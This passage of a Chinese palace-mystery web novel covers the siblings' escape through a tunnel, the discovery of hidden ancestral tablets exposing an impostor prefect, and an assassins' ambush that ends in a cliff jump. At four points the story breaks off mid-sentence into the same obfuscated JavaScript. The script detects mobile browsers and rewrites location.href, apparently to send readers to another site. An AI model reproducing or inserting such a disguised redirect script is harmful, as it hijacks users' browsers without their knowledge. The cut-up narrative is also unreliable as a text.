“原也以为是小虎吹牛,大家都没当回事,谁料后面听到大人们说,第二天早上开门的时候,看见小虎在门口缩成一团,浑身湿漉漉的像是刚从河里捞起来的一样,浑身烫得没发下手,等大夫来了之后,人都成傻子了。” “我刚刚、刚刚也就是瞎说的,”那人见沈煦对此事在意,怕自己摊上什么事,忙不迭地推脱,“我、我这不是充个面子,才在大家面前吹嘘自己知道内情的,我什么都不知道啊大人。” 他就是觉得,这事说得越邪乎,越能让旁人关注罢了。 但沈煦不这么想。 神啊鬼啊的,不可全信。 如果不是撞了鬼,那就是撞见心怀鬼胎的人,联合起宅子闹鬼的传言,定是有人要遮掩藏在宅子里的什么东西,特意编出来让百姓们对这里望而却步的。 说不定就连那买宅子的富商,也是故意安排的,为的就是让宅子能够正大光明地荒废下来。 想到这里,沈煦觉得来人想要隐藏的事不简单。 如果小虎是真的半夜进了宅子发现了什么,那大可把人杀掉以绝后患,但却只是将人变得痴傻,想必是觉得死了人会带来麻烦,不想惹事。 不怕对方心狠,就怕对方心狠还带脑子。 沈煦立马反应过来,当即让人将周围的百姓带回府衙,不可关押,吃喝都府衙管着,确保这里的人没有机会去通风报信。 好在天色已晚,周围只有几个摆夜宵摊子的小贩和零散食客,也没几个人。 但愿没有打草惊蛇。 解决掉外患,沈煦带着人在宅子里一寸寸地搜查起来,恨不得翻个底朝天。 有两个衙役见院子里人多,直接推门打算去正房看看。 只是两人刚跨过门槛,脚下的石块突然裂开,眼见着人就要掉下去。 但比沈悠然好运的是,他们人多,站在门外的几个衙役看见有人掉了下去,眼疾手快地伸手去捞,这才没让人掉下去。 “殿下,这有机关!”门口的衙役连忙禀告正在查看内墙的沈煦。 沈煦也是听见衙役在和旁边的人小声嘀咕,才觉得不对劲。 “听说这是知州大人从前住的院子呢,竟这般小,不符合知州大人的身份啊。” 来之前他打听过李文枢的身份,说他家境虽不富裕,但也算不得寒门,宅子只赁不买倒是符合身份,不过既是觉得府衙住得不好才住在外面,又怎么会只赁这么一个小院呢? 这看起来,比起府衙也好不了多少。 他心中一动,让人去隔壁问问。 听到有人报告正房内有机关,沈煦当即转身去查看。 石块原是要闭合的,但衙役脑子灵光,用旁边的桌椅抵着两端,这才留下了洞口。 沈煦趴在地上,在两侧发现了泥土上有抓握的痕迹,想必是有人掉下去的时候手忙脚乱地想要抓着什么东西留下的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841520|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定是皎皎和阿晟! 沈煦心中一喜,让人找来了下井的工具下去查看,自己焦急地在一旁来回打转。 不一会儿,地洞下面就传来了动静,带有油灯的衙役们也第一时间发现了因为藤蔓被扯断而露出来的地道口。 听到说这机关之下还有路,担心这二人安危的沈煦根本就无法再冷静,腰上系好绳子之后,前方安排了几个衙役开道,亲自下了陷阱。 因为地道口的痕迹太过明显,都不用细想,沈煦就能猜到他二人肯定是从这里逃生的。 早有准备的衙役们手上拿着趁手的工具,腰侧还挂着油灯方便视物,攀爬起来倒是比沈悠然和严晟更容易。 等到从出口逃生的时候,天色已然不再是如乌墨般深沉,像是披上了一层烟灰色的薄纱,星星也已然褪去光芒。 沈煦看见依偎在洞口的那两人,悬了一整夜的心,总算是能够放下了。 “皎皎!” 他大叫着妹妹的小名,顾不得身上的脏污,快步走上前去将她揽在怀中。 “皎皎,你怎么样,有没有事!” 沈悠然从睡梦中被吵醒,眼神实在不清明,看向沈煦的时候带有一瞬间的茫然。 而后才反应过来,鼻头一酸,眼眶里尽是湿润的水气。 “呜呜,哥哥,你怎么才来啊哥哥。”她委屈地伸出手,又指着自己的脚,“这儿疼、这儿也疼,呜呜。” 还会撒娇,那看起来没有受什么伤,沈煦松了口气,摸着头安慰她。 “抱歉,是哥哥来晚了,别哭了皎皎。” 目光落在一旁的严晟身上,他又先用视线检查了一遍。 “阿晟,你呢,怎么样?有没有事?” 严晟转了转僵硬的左肩,在察觉到那阵软玉般温润的触感消失的时候,一瞬间感到有些失落。 “我没事,皎……昭懿帝姬也没事。” 沈煦拍了拍他的肩,满是谢意,“阿晟,多谢了。” 那地道他爬过,沈悠然没事,定然是因为严晟处处护着。 “好了,也别在这待着了,我们先回去。”沈煦低头看向沈悠然,“可还能走?” 沈悠然点点头,她不过就是一时娇气觉得委屈才在沈煦面前卖惨的,又不是真的受了伤。 询问过当地的衙役之后,沈煦一行人才知道这里是礼县城郊,距城里倒是不远,只是因为此地易遭水患,百姓们很少踏足,特别是在这种时节。 沈煦将他们失踪之后的事情一一同严晟说明,二人皆认为这宅子里有蹊跷,商议着先回客栈修正一番再去探查。 蔺朝暮得了信,早就从府衙回到了客栈,看到一身脏兮兮的沈悠然不免有些红了眼眶。 “可有受伤?”她关切地一问。 沈悠然挽着蔺朝暮的胳膊撒娇晃了晃,拍着胸脯保证自己没事。 “快快进屋吧,我让人备好了早膳和热水,你是要先洗漱还是先填饱肚子?” 身上满是脏污,沈悠然宁愿先饿着,也不想自己这般狼狈。 只是临进房之前她特意停下脚步,回过头看向了严晟。 “谢谢你的外衫啊,严晟。” 沈煦心中只觉警觉,狐疑地目光在沈悠然和严晟之间流转着。 他总觉得,妹妹和好友的眼神,不清白。 44. 第 44 章 等二人稍微修整一番之后,四人又回到了荒宅。 沈煦倒是想让沈悠然在客栈歇息,但沈悠然坚持要去。 “哥哥,那宅子的主人还特意设下陷阱防止有人擅闯,你说若是被他知晓自己的秘密被人发现了,我和嫂嫂又落了单,对方会怎么想?” 严晟觉得在理,也出言相劝。 “殿下,昭懿帝姬也不是小孩了。” “帝姬她……也想当好大盛的帝姬。” 她不想当被父母兄长完全护在羽翼之下的小姑娘,也不想当只需要知道风花雪月而不知人间疾苦的皇天贵胄。 沈煦实在是忍不住看向他二人,特别是在心中早有另一番猜测的时候。 “阿晟似乎是,很了解皎皎?”他语气不明地反问道。 被他这么看着,严晟身子一顿,转过头去看向客栈的对面。 “快走吧殿下,莫要耽搁时间了。” 虽然已经尽力控制住了百姓,但难免有盯梢的人发现府衙的人在荒宅里,为了避免被人捷足先登,动作还是得快。 沈煦到的时候,正在待命的衙役和在家中坐立难安天一亮就在荒宅前守着的周真正凑在一起议论他。 太子殿下虽位高,但昨日那般危急的场面,也没有冲着下面的人发怒,听一起跟过去的衙役们说,殿下还允诺无论是挖地道还是守夜的兄弟们,都有赏银。今日一早便让人送了过来分发给累了一晚上的兄弟们。 周真还暗道后悔,若不是得了令要守在府衙保护太子妃,他也能一道跟去。 倒也不是见钱眼开被这点赏银收买了,实在是……实在是太子殿下还能记得这么一遭,让他心里很是感慨。 从前上头来人,无论是巡查办案还是走个过场,总一副觉得他们这些小知府小衙役就该马首是瞻说什么就做什么,所做的一切都已经让人觉得理所当然了。 是以见到太子亲临,他是真恭敬地凑了上去行礼。 沈煦免了他的礼,盘查更为重要。 “旁边是民居吗?”沈煦问道。 周真对礼县熟得很,眼珠子转了一圈,当即回复,“是,这是条老街,住的大多都是礼县本地人,不过隔壁已经空闲下来,许多年都没有人住了。” 闲置的旧宅院在礼县也不少见。 从前因为常年水患侵扰,背井离乡的人多,但也有老人宁死也不愿离开故土。 整条街都是一起长大的人,即便有些家中早已无人居住,但左邻右舍的还是会帮着老朋友们守好宅子,就怕哪一日好友归家,再无处落脚。 又是无人居住? 沈煦觉得事情太过巧合,让人砸开了隔壁的门,意外发现了一座佛堂。 佛堂门口垂挂这守门神的画像,纸张褶皱明显,还泛着陈旧的黄,厚重的锁链上也落了灰。 昨日落入陷阱时的场景还历历在目,严晟也不敢靠得太近,唯恐触发新的机关。 他抽出悬挂在腰间的长剑,自昨日那么一遭后,再也不敢让佩剑离身。 严晟的剑是盛兴帝亲赐,名家所制,世间仅沈煦和严晟二人拥有。 既是宝剑,哪怕是用剑尖,挑开这已然有了些年头的锁链,也不是什么难事。 沈悠然没忍住,频频侧目。 因为脱离了危险,她的心思又开始飘忽。 这个用剑尖挑锁的动作太过分了,她在心中暗道。 里面的陈设和普通的佛堂相似,正对着房门的位置摆放着一尊佛像,右侧的小隔间里放着牌位。 无论是佛像还是牌位前都没有摆放贡品,只是两樽被灰尘覆盖了的香炉。 严晟上前,抽出了牌位前那樽香炉里已经燃尽的红烛棍。 出去已经凝固的烛蜡之外,棍子上有着三道不同的痕迹。 最下端上覆着一层色彩偏白的香灰,和炉中的灰烬质感相当。 再往上是约莫有一枚铜钱厚的一层黑灰,和桌案上的灰尘一样。 拂掉这两段的灰尘,还是勉强能看得出棍子原本的颜色。 而最顶端的半截木棍,除了燃烧的痕迹之外,整个棍子都已经被日光和灰尘腐蚀,呈现出黢黑的模样。 他转过身去,从佛像前的香炉里抽出红烛棍,对比起了痕迹。 二者不是同一时间使用的。 佛像前的那根,完全就是半截香灰半截尘。 显然不久之前,有人在佛像前祭拜过。 难道有人回家祭拜,只是求神拜佛而不给祖先上香? 严晟看向周真,“周知府,烦请找附近的人问问,原先住在这家的是什么人,又是为何搬走了。” 周真连忙点头,转身出门准备叫人传信回去让管理户籍的人查查,再派几个人去周边问问。 在踏出房门的那一瞬,没忍住又回头看了一眼佛像,嘴里发出啧啧声响。 沈悠然站在院中没进佛堂,因为门开着,日光洒进房中,能够清楚地看见半空中漂浮着的细小微尘,让人下意识地想要掩住口鼻。 自然也就没错过周真的动静。 “周知府,可有不妥?”沈悠然一问。 昨日以为她只是个富家小姐,还敢正眼去打量。 如今知晓了真实身份,周真连忙错开眼,半躬着身子行礼。 “回帝姬的话,下官、下官只是觉得有些奇怪。” 严晟在屋内正愁找不到新的线索,听他一说,也就跟了出来。 “哪里奇怪?” 周真挠了挠后脑勺,也不知道自己说的对不对。 “就、就是,咱们礼县临水,相较于其他的神仙菩萨,礼县的百姓们通常都是在家里供奉龙王的,祈祷河流平稳,莫要再受灾了。” 是了。 无论是沈家兄妹二人,还是严晟蔺朝暮这种官员子女,久居宣阳城,看见礼县的民居里供奉着佛像,当然不会觉得有什么不对劲的地方。 也就周真这种在礼县当了好几年的知府才能一眼看出来。 那岂不是说,这宅子的主人,和他们一般是个外来客? “肯定是李文枢!一定是李文枢买下了这座宅子!”沈悠然脑子里快速闪过一个念头,“这里一定是李文枢的秘密基地,说不定他贪污受贿的银子就砌在墙里!” 她从前看的话本子里就是这样写的。 这么一想,沈悠然提着裙摆进了佛堂,半个身子贴在墙上,曲着两跟手指在墙上敲打着。 只是并没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845890|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如她所愿地听到墙壁中空的声音。 倒是一旁的周真,忍不住打了个寒颤。 “什……什么!你们是、是怀疑李知州?” 周真惊得下巴都掉了,他还以为是帝姬一时误入荒宅,所以才找人查查是谁在宅子里挖了个陷阱。 谁知道,他们是来查李知州的! 贪污受贿,那可是要掉脑袋的大事啊! 难怪,难怪一个太子、一个太子妃,再加上昭懿帝姬和一个副巡察使会来到礼县这个小地方。 只是惊动了这么多大人物,难道……难道李文枢贪的钱太多了? 周真当即紧张起来,李知州可是从礼县走出去的,万一他真的贪了,而且是在礼县的时候就贪了…… 他可还没当上大官呢,可不能被连累了! “殿、殿下!大人们明鉴!我、我、唉……我这就让人把这里翻个底朝天!” 他招呼着衙役们快快动起来,不仅是佛堂,就连旁边的房间,也得一寸一寸地查,就连床底下的砖块都别放过。 还有厨房,院子里的厨房也得搜! 严晟站在佛堂前,总觉得这个佛堂有问题。 寻常人家,两个房间定然都是卧房。若是还未成家的独身男女,另一个空闲的房间也会作为书房或者杂物间。 鲜少会有人在家中房屋并不宽敞的情况下,专门辟出一件佛堂来。 若是要说宅主人极信神佛,却又不见堂中有其他诸如经书一类与佛教有关的东西。 严晟不信这里没有其他的东西,伸手在佛像四处翻找着。 既然宅主人特意还给佛像上香,那这里肯定有古怪。 他挨个寻摸着,不出一会儿,居然真的让他找到了一处机关——佛像莲座的背后,有一块形状不明的凸起。 严晟怕其中有诈,连忙叫来沈煦,让他护着沈悠然退出佛堂。 “阿晟,你小心。”沈煦不免为好友感到担忧。 严晟点点头,目光不自觉地看向沈悠然,看见她紧紧攥着袖口,眼神里尽是担心。 他眼疾手快地按下机关,随后利落地翻了个滚躲向墙角。 原本居于正中的佛像在按下的那瞬间缓缓转向右侧,背板也落了下去,露出一排排的木板。 确认再没有危险之后,所有人都凑近了看,发现这居然是—— “牌位?”沈悠然有些失落,“只是牌位,怎么要搞得这般神神秘秘的……难不成是金子做的牌位?” 她伸手想要去拿,却被严晟按住了手。 “我来。” 严晟选了离得最近的一块,在手中掂量了一下分量,发现着就是普通的牌位。 牌位上面的金漆还很完整,符合他之前猜测的不久前才有人来祭拜过,添了笔墨。 上面写着几个大字,看样子像是子嗣给父亲立的牌位,姓于。 后面的几个牌位也大同小异,都是姓于的人的牌位。 只是这个姓…… 蔺朝暮看见这几个字,心中一怔,拽了拽沈煦的袖口。 她有一个猜测,但又觉得太过离奇,怕说出口让其他人误会,只好跟自己的夫君说。 “李知州的儿子,也姓于。” 45. 第 45 章 “有没有可能,并不是李知州的儿子和福全楼的老板一个姓,而是……这位李知州的儿子就该姓于呢?” 严晟目光一凛,看向说话的沈悠然。 是啊,万一,万一本就该姓于呢? 虽然是沈悠然随口一说的猜测,但却并非是天马行空。 只是这样一来……怕是整个朝堂都要变天了。 明明是烈日当空,竟恍惚让人觉得像是处于阴森森的坟场之中,面前这一块块错乱摆放着的牌位好像都变得扭曲,让人不敢靠近。 空气中散发着混合了潮湿气的香灰味道,带有若有似乎的腐朽气息。 下面的人来报,说这座宅子的主人是一户姓曾的一家三口,十年前家中父母被水流卷走之后失了踪迹,只留下了一个十五岁左右的少年,过了没多久少年突然收拾好了行囊,说要去外面闯荡闯荡,做点生意。 在那之后就没了音信,宅子就一直空闲了下来。 所以小隔间里还摆放着“曾”姓人家的排位,看上面落的灰,想必是有人为了掩盖时不时打扫过,但又不上心。 所以这个“于”,看起和姓曾的人家没什么联系,倒是和一墙之隔的李文枢关系匪浅。 所以那座原属于李文枢的宅子,包括宅子里的陷阱,或许都是障眼法,让人误以为蹊跷是在那边,但哪怕是掘地三尺也发现不了什么异样。 那个傻了的小虎子,或许是撞见了什么秘密而被人害傻了,这也让“鬼宅”的名号传播得越响,绝了周围百姓们再踏足的可能。 就是这样年复一年地被遗忘,让设计机关的人也放松了警惕,因为机关没有再开过,也就没有去检查过陷阱,没有发现地下水道的改变。 这才让从陷阱里逃出来的一行人决定彻查这种荒宅。 沈煦觉得头上的青筋一抽一抽地疼,当即修书一封交待亲信去帮他仔细盘查。 从福全楼的掌柜查起,查他是从何处来,当地是否有姓于的大户,更要查谁又该是李文枢。 顶替他人名义做官,那可是死罪,如果报酬不够丰厚,没有人愿意去冒这个险。 哪怕是礼县这种小地方,所有官员的任命都是归吏部所管。 天子脚下,胆敢有人如此行事! 沈煦脸色愈发沉重。 他一直都知道,大盛并非是一个无坚不摧的堡垒。 史书有记,不知道多少年前曾发生过天灾,是神明的拯救让大盛得以延续,上至皇室宗亲,下至黎明百姓,都认为大盛是有神灵庇佑。 哪怕是像礼州这样常受水患侵扰的地方,也会有人觉得天不会亡大盛子民,家家户户都会供奉着龙王像,期盼着神明再度降下恩泽。 古言有云生于忧患,死于安乐,如今的大盛正在一步步走向后者。 沈煦一直都知道大盛这颗大树上有蛀虫。 只是没想到、没想到,居然会有顶替官职的事发生在他和父皇看不见的地方。 李文枢调任礼县知府已经是约莫十年前的事了,他担心的是,此事并不是独此一件。 他不敢想,吏部上下,有多少人知晓此事,又有多少人参与过此事! “查!给本宫严查!”沈煦气得摔断了手中的笔杆,“再派一队人悄悄去知州府时时刻刻盯紧李文枢,莫要让他听到风声跑了。” 周真在一旁战战兢兢,怕自己说错什么话,触了霉头。 他盼着太子排出去查于掌柜的人快些回来,让他不用在这小心翼翼地盯着太子的脸色形式;又盼着消息能够晚些到,他不敢面对李知州其实并不是李文枢这个事实。 “殿、殿下,殿下莫要心急,这其中,万一是,是有什么误会……”周真一边擦汗,一边小心地想着措辞来安抚这位温润太子的怒火,“也许这是、这是……对、万一这是李知州夫人的祖先牌……” “且不论李文枢的夫人并不姓于,你会放着自己的祖先不敬,敬夫人的?还这般遮遮掩掩?”沈悠然看不上他那副畏手畏脚的样子,“周大人这是怕惹事上身吧?” 周真支支吾吾的,说是也不对,说不是也不对。 本就同他无关,沈煦也不欲为难他,只让他派人找一辆马车,他们要赶回永州。 既是太子吩咐,又是能送走这几尊大佛的事,周真恨不得手脚并用连滚带爬地办好差事。 “朝暮,皎皎,就委屈你们了,我怕李文枢得知了这边的动静,我们得早些回到永州,待查明一切之后,路上会有人给我们传信。” 沈悠然对于他的这番话有些许不悦,“哥哥,倘若是我那般怕苦怕麻烦的人,我还会跟着你一道出来吗?” “我想嫂嫂也是这般想的,你这样一说,还解释一番,倒是显得我跟嫂嫂是不明事理的累赘一般。” 沈煦微愣。 他倒是没这般想过,只是下意识地觉得连日奔波让人劳累,何况妹妹昨夜夜还被困于城外未曾好好休息。 但沈悠然也说的没错,他就是下意识地在心中认为她们二人会不喜欢他这样的安排。 “是,哥哥的错,还多亏皎皎点醒哥哥。” “那我们出发吧,莫要再耽搁了。” * 会永州的路上,大家的神色都不太放松。 来之前只是想着反正也没有目的地,那就任由那点微末的疑心病指引,随意去探查一番。 谁料回去的时候却是带着这等让朝堂震惊的大事。 特别是在沈煦手下的暗卫传来消息后,更加真实了众人的猜测。 暗卫们顺着福全楼掌柜于顺的身份查起,得知他原是锦州人士,他祖上几代都是锦州富商于家的家仆。 到了他这辈,因为知根知底,早已成为于家的心腹,他一个家仆之子受主家栽培学了本事,后成为专替于家打理酒楼生意的大掌柜。 而这于家家中有两子,大儿子如今继承祖业,在锦州打理偌大家产,是当地有名的富绅。 和那时常跟随父亲在外抛头露面做生意的大儿子不同,于家那个叫于世秋的二子不常在人前显露,据说是于家专门请了教书先生单独授课,打算让小儿子走科举之路,往后还能当个官儿,照拂家中产业。 只是据当地百姓的说辞,许是没有考上的,不然他们肯定能吃上于家的宴席——当年于大老爷成亲的时候可是摆了整整三日的流水席呢,全城的穷苦人家说了一箩筐的好话,看似在祝于家出个官老爷,其实是想再得几顿白食。 那年春闱之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852236|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,似乎就未曾听说过于家二儿子的消息了,又隐约有消息传来说是于世秋落榜之后心气郁结,心灰意冷之下绝了读书的心思,收拾包袱去行走天下了。 又恍惚中有消息说是在路上遭了难,人没了。 众人也不敢去触于家霉头,便未曾在提过这人。 沈煦养的暗卫做事倒也妥帖,顺带打听了于家老大于世春的消息,看起来倒是平平无奇没有什么蹊跷。 只是随信附上的一副画像,倒是让沈煦为之一振。 李文枢,不对,现在已经是叫做于世秋,作为一州知州,年末需要进宫述职,沈煦作为已经开始处理朝政的太子,曾是见过他的。 只是毕竟一年也只见一面,他心中有个大概的模样轮廓,但五官之类的都很模糊。 但他看见这幅画像的时候,还是能从这相似的眉眼里,想起于世秋的模样。 长得像的人不少,但既长得像、又同和“于”姓有牵连,任谁都不会觉得这是巧合。 沈煦压抑着心中的怒火,翻阅起了另一封信。 上面写着李文枢的信息,沈煦原以为他的消息没有这般容易查到,谁曾想,暗卫竟在调查于世秋的时候发现了李文枢的名字。 原来,这李文枢也是锦州人士,是和于世秋同一年参加春闱的考生。 李家家境贫寒,父母又早亡,连读书科考的银子,都是村子里帮忙凑出来的。 虽然家里穷,但李文枢的学问很好,私塾里的夫子看他是个走科举的好料子,平日里也颇多照顾,在得知李文枢被派了个不知道什么县的知府官职之后,还给他塞了一两银子当路费。 只是后来就再也没有听说过他的消息了,那夫子原也不是要求他的回报,但总觉得自己用心对待的学生当了官之后都未曾再去探望过他,多少还是有些失望罢了,也就这么念了大半辈子。 这才让暗卫们如此顺利地打探到他的消息。 原是毫不相关的两件事,现在看着摆在一起的两封信,想要推测出原委也就不难了。 想必,那李文枢如今已是尸骨无存了,这才让于世秋能够顶着他的名字,一步步坐到了永州知州的位置。 而因此抛弃了自己姓名的于世秋也一直在惦记着自己那回不去的本家,又不敢明目张胆地在永州家中祭拜祖先,便将牌位都放在了礼县,借着放心不下自己初为知府时管辖的百姓们,每年回来祭拜。 至于让儿子姓于这件事,想必也是他特意做给旁人看的戏,他不愿让自己的后代也要顶着李文枢的姓,便寻了个由头让自己的儿子认祖归宗。 “当真是!好大的一出戏!” 沈煦将手中的纸张往桌案上一拍,震得旁边的茶盏都腾了空。 严晟倒还算冷静,将于世春的画像卷起来放进袖口,防止他日审问之事于世秋拒不承认。 这件事太大,不是于世秋一个人能做得了的。 凡是吏部的官员任命下来之后,会给当地的府衙颁发新任知府的画像,严晟怀疑或许从这副画像起是于世秋的模样。 就在严晟猜测他身后之人是谁的时候,突然听到了马车外传来了一声响动。 一声极其尖锐短促的破空声,打破了官道上的静谧。 46. 第 46 章 “趴下!” 严晟一面招呼着沈煦,一面伸手按着沈悠然的后脖颈,把她拉进怀里一同弯下腰。 紧接着,一支弩箭穿过了马车车门,寒光从众人的头顶闪过,径直钉入沈悠然和蔺朝暮原本背靠着的车壁。 一时之间,车厢内安静得就连箭尾震颤发出的嗡鸣声都听的一清二楚。 果然还是走漏了风声。 “阿晟,皎皎就交给你了。”沈煦紧握住蔺朝暮的手,不放心地看向妹妹。 不等严晟领命,倒是沈悠然抽出了防身用的匕首紧紧握在手中,反过来让沈煦要照顾好蔺朝暮。 话音刚落,异变再生。 因为着急赶路,马儿已经疾驰了许久,正是力竭之时,一只弩箭划破天际的声响都足够让它们发狂。 驾车的车夫又是个年过半百的小老头,平日里最多也就是在城里给贵人们驾车,何时见过这种场面,慌得连马匹都安抚不了。 发了狂的马儿在道上无所顾忌地疾驰着,眼见着就要撞上前方的树干,小老头只来好大叫起来。 “贵人们,遇到了劫道山匪惊马了!你们,你们快跳车啊!” 严晟和沈煦交换了一个眼神,伸出手臂将身旁的人牢牢护在怀里,各自推开离得很近的车窗就跳了出去。 沈悠然在一片薄荷的气息中,听见马车撞上枝干碎裂的声音。 驾车的小老头动作不及两个青年麻利,一时之间也没能躲得开,撞在一旁的大树上昏了过去。 也不等几人站稳脚跟,从四面八方涌入一群蒙着黑巾只露出半张脸的大汉,手上无一不挥舞着长剑。 是冲着他们来的。 他们手中尖利的武器映照着月色的光芒,如吐着蛇信子的毒蛇一般,带着阴冷寒气朝着几人刺来。 沈悠然看着其中一人动作凶狠地冲向沈煦,但却没有办法去帮他。 因为她自己的麻烦也不小。 沈悠然被护在严晟身后,双手交握着牢牢攥住了手中的匕首,虽然有些控制不住地手抖,但目光还是十分坚定。 现在还不是害怕的时候,她咬着牙告诫自己,如果有人靠近,一定不能因为恐惧而迟疑。 严晟挡在沈悠然身前,单手抽出长剑直冲着其中的一个刺客双眼而去。 即便是感受到了剑身上的寒光,他却连眼睛都不眨一下,颇有一番宁肯丧命于此也要拉着严晟垫背的气势。 不是一般的刺客,是死士。 只是像于世秋那样的人,一个知州,能有那个财力和门路去养死士吗? 这些人的来历,和卖官职给于世秋的人一定有联系。 因为揣着这样的想法,严晟并未下死手,剑尖在离那人双眼不过一指的距离时突然转了个向,刺向他的手腕,挑飞了他的剑。 可那刺客居然像是没有痛觉一般,赤手空拳也敢同严晟缠斗。 这般不要命的打法,让严晟更加证实了自己的猜测。 “你们是什么人?”严晟手上动作不断,试图用言语来扰乱对方的心绪,“是谁派你们来的?” 对方恍若未闻,如果不是太过离奇,严晟甚至都要怀疑眼前的这个人怕是木偶做的傀儡。 他又问道:“是于世秋吗?” 对方依旧不分心,一心只想要置人于死地。 既然如此,严晟也不再拖延,干净利落地解决掉了眼前的死士。 但比起这些人不要命的打法之外,更让严晟担忧的是,死士的人数还在增多。 这是铁了心要置他们于死地了。 “少爷!”严晟大喊道,隔着马车的残骸,同沈煦摆了摆头。 沈煦立马会意,将蔺朝暮拦腰抱起,一脚踩上马车的轮毂接力,准备和严晟会和。 但对面也明显深谙逐个击破的战术,紧跟着飞身而跃,拦在沈煦面前。 眼见着那名死士的剑尖离蔺朝暮不过一寸远,沈煦只好持剑和对方缠斗起来。 而严晟这边也立马有死士跟上。 四人无法,只得分别逃往两个方向。 严晟拉着沈悠然的手,往右侧的树林里跑去。 只是越是往林子深处跑,脚下的路越窄,严晟只得用手中的长剑斩断脚边的荆棘。 脚下数不清的断木与尖刺划过沈悠然细嫩的脚踝,脚尖每次触地都传来针扎般的疼痛感。 平日里不可或缺的呼吸此时也变成了一种折磨,混合着恐惧,如同一张粗粝的砂纸,正在打磨着她的喉头。 但她根本不敢停下来,身后呼啸的风声昭示着他们并没有远离危险。 只是天不遂人愿,沈悠然很快就发现,她们选择的是一条死路。 荆棘丛的背后不是逃生的希望,是悬崖。 踉跄的几步里带动着脚下的碎石往前滚动着从悬崖掉落,许久都未曾听见落地的回音,只有水流的声音。 若是人掉下去…… 沈悠然害怕地回过头,只能看见那群死士们手中泛着光的利剑,如同露出了尖牙的毒蛇,试图用阴暗的目光将人钉在原地。 沈悠然几乎能听到自己那快要从胸腔里蹦跶而出的心传来的咚咚声响。 死在这些人手上,太不甘心了。 她看见为首的那个不知道是不是头领的死士对着其他人稍微歪了歪头,其他人立刻换上了腕间的弩箭。 方才在林中视线不明,也没有时间来瞄准,弩箭没有用武之地,但现在却成了最好的杀人利器。 没有多余的时间用来思考,在弩箭划破天际之前,严晟一把拉过沈悠然抱在怀里,将她的头按在怀里,转身背对着那些死士。 “闭气。”他说。 沈悠然瞬间明白了他的打算,总归是没有路再走了,或许跳崖是最好的选择。 下方兴许是一深不见底的水潭,掉下去了怕是难再有活路。 但万分之一的机会也是机会。 沈悠然双手攀在严晟的腰侧,紧闭着自己的双眼不敢看,怕自己好不容易积攒起来的跳崖的勇气会消失殆尽。 但也因为不能视物,给耳边的呼啸声又增添了几分肃杀的气息,在一片薄荷气息中,沈悠然觉察到严晟收紧了手臂。 仿佛是本能一般,沈悠然指尖也暗暗用力,几乎是箍紧了严晟,指节因为过度用力泛着白色,麻木得就像不是自己的手一般。 饶是再怎么有心理准备,也是在落入水中的那一刹忍不住哆嗦了一番。 那股让人窒息的压力从四面八方涌入,不出一会儿,沈悠然就感觉好似有一双手正攥着她的心肝脾肺用力的挤压着,让她几近晕厥。 她下意识地打了个哆嗦,刺骨的河水瞬间从鼻腔涌出,她觉得整个脑子都不再是自己的了,意识也在一步步地变得模糊。 觉察到怀中的人身子开始发软,严晟立马慌乱起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16860187|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双腿使劲往上一蹬,打算游上岸。 但抱着一个人,多多少少还是有些吃力。 严晟无法,只得微微低头,覆上了沈悠然的双唇。 如他想象过的那般柔软,但却并没有让他心里产生任何不该有的心思,他只能一边拼命地用着剩下的手臂和双腿向上游动着,一边给沈悠然渡气。 不能……不能出事…… 皎皎她……不能出事…… 也不知道是哪里来的力气,好像全身上下的血肉都在支撑着他那不能死在这里的想法。 好在天无绝人之路,在严晟力竭之前,总算是拖着已然陷入昏迷的沈悠然游到了岸边。 看着她紧闭的双眼,严晟半分也不敢松懈,照着在军中学过的急救之法,深吸了一口气之后捏着她的鼻尖对着双唇吹气,而后又用双手不停地在她的胸前按压着。 就这么重复了不知道多久,久到严晟感觉自己已经麻木了,像是一个只知道做这几个动作的傀儡。 他从未觉得沈悠然的咳嗽声有这般悦耳过。 随着沈悠然吐出了胸腔里的积水后,她总算是慢悠悠地醒了过来。 严晟脱力地坐在地上,深吸了好几口气,才感觉灵魂又回到了体内。 太好了。 他心想着,真的是太好了。 